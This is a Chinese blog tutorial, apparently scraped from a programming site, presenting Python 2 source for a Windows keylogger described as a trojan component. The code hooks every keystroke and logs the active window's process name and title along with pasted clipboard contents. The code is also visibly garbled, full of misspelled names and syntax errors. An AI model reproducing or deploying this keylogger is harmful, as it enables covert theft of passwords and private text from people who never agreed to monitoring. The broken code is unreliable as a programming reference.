Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
解决Python中字符串和数字拼接报错的方法
Oct 23 Python
Python列表list内建函数用法实例分析【insert、remove、index、pop等】
Jul 24 Python
Python 基础教程之str和repr的详解
Aug 20 Python
python交互式图形编程实例(二)
Nov 17 Python
python远程连接服务器MySQL数据库
Jul 02 Python
python算法与数据结构之冒泡排序实例详解
Jun 22 Python
python经典趣味24点游戏程序设计
Jul 26 Python
Python 私有化操作实例分析
Nov 21 Python
python实现mean-shift聚类算法
Jun 10 Python
Selenium执行完毕未关闭chromedriver/geckodriver进程的解决办法(java版+python版)
Dec 07 Python
python 利用openpyxl读取Excel表格中指定的行或列教程
Feb 06 Python
pycharm安装深度学习pytorch的d2l包失败问题解决
Mar 25 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
PHP 选项及相关信息函数库
2006/12/04 PHP
使用JSON实现数据的跨域传输的php代码
2011/12/20 PHP
php获取网页里所有图片并存入数组的方法
2015/04/06 PHP
php之header的不同用法总结(实例讲解)
2017/11/28 PHP
非常强大的 jQuery.AsyncBox 弹出对话框插件
2011/08/29 Javascript
jquery常用方法及使用示例汇总
2014/11/08 Javascript
Javascript中的方法链(Method Chaining)介绍
2015/03/15 Javascript
简介JavaScript中fixed()方法的使用
2015/06/08 Javascript
jQuery html表格排序插件tablesorter使用方法详解
2017/02/10 Javascript
利用types增强vscode中js代码提示功能详解
2017/07/07 Javascript
js编写简单的计时器功能
2017/07/15 Javascript
js实现HTML中Select二级联动的实例
2018/01/05 Javascript
详解angular脏检查原理及伪代码实现
2018/06/08 Javascript
解决微信小程序中转换时间格式IOS不兼容的问题
2019/02/15 Javascript
基于mpvue的简单弹窗组件mptoast使用详解
2019/08/02 Javascript
vue 获取到数据但却渲染不到页面上的解决方法
2020/11/19 Vue.js
[02:29]DOTA2英雄基础教程 陈
2013/12/17 DOTA
Python数据类型详解(一)字符串
2016/05/08 Python
让代码变得更易维护的7个Python库
2018/10/09 Python
用python画一只可爱的皮卡丘实例
2019/11/21 Python
python保存log日志,实现用log日志画图
2019/12/24 Python
如何在Python 游戏中模拟引力
2020/03/27 Python
CSS3 完美实现圆角效果
2009/07/13 HTML / CSS
中国酒类在线零售网站:酒仙网
2016/08/20 全球购物
澳大利亚设计的婴儿和女孩的衣服:Oobi
2018/12/16 全球购物
来自世界各地的饮料:Flavourly
2019/05/06 全球购物
美国最大和最受信任的二手轮胎商店:Bestusedtires.com
2020/06/02 全球购物
红领巾广播站广播稿
2014/02/01 职场文书
企业总经理岗位职责
2014/02/13 职场文书
《我的信念》教学反思
2014/02/15 职场文书
学校法制宣传月活动总结
2014/07/03 职场文书
2014年教师党员自我评价范文
2014/09/22 职场文书
2015年测量员工作总结
2015/05/23 职场文书
钱学森电影观后感
2015/06/04 职场文书
python 进阶学习之python装饰器小结
2021/09/04 Python
vue3 自定义图片放大器效果的示例代码
2022/07/23 Vue.js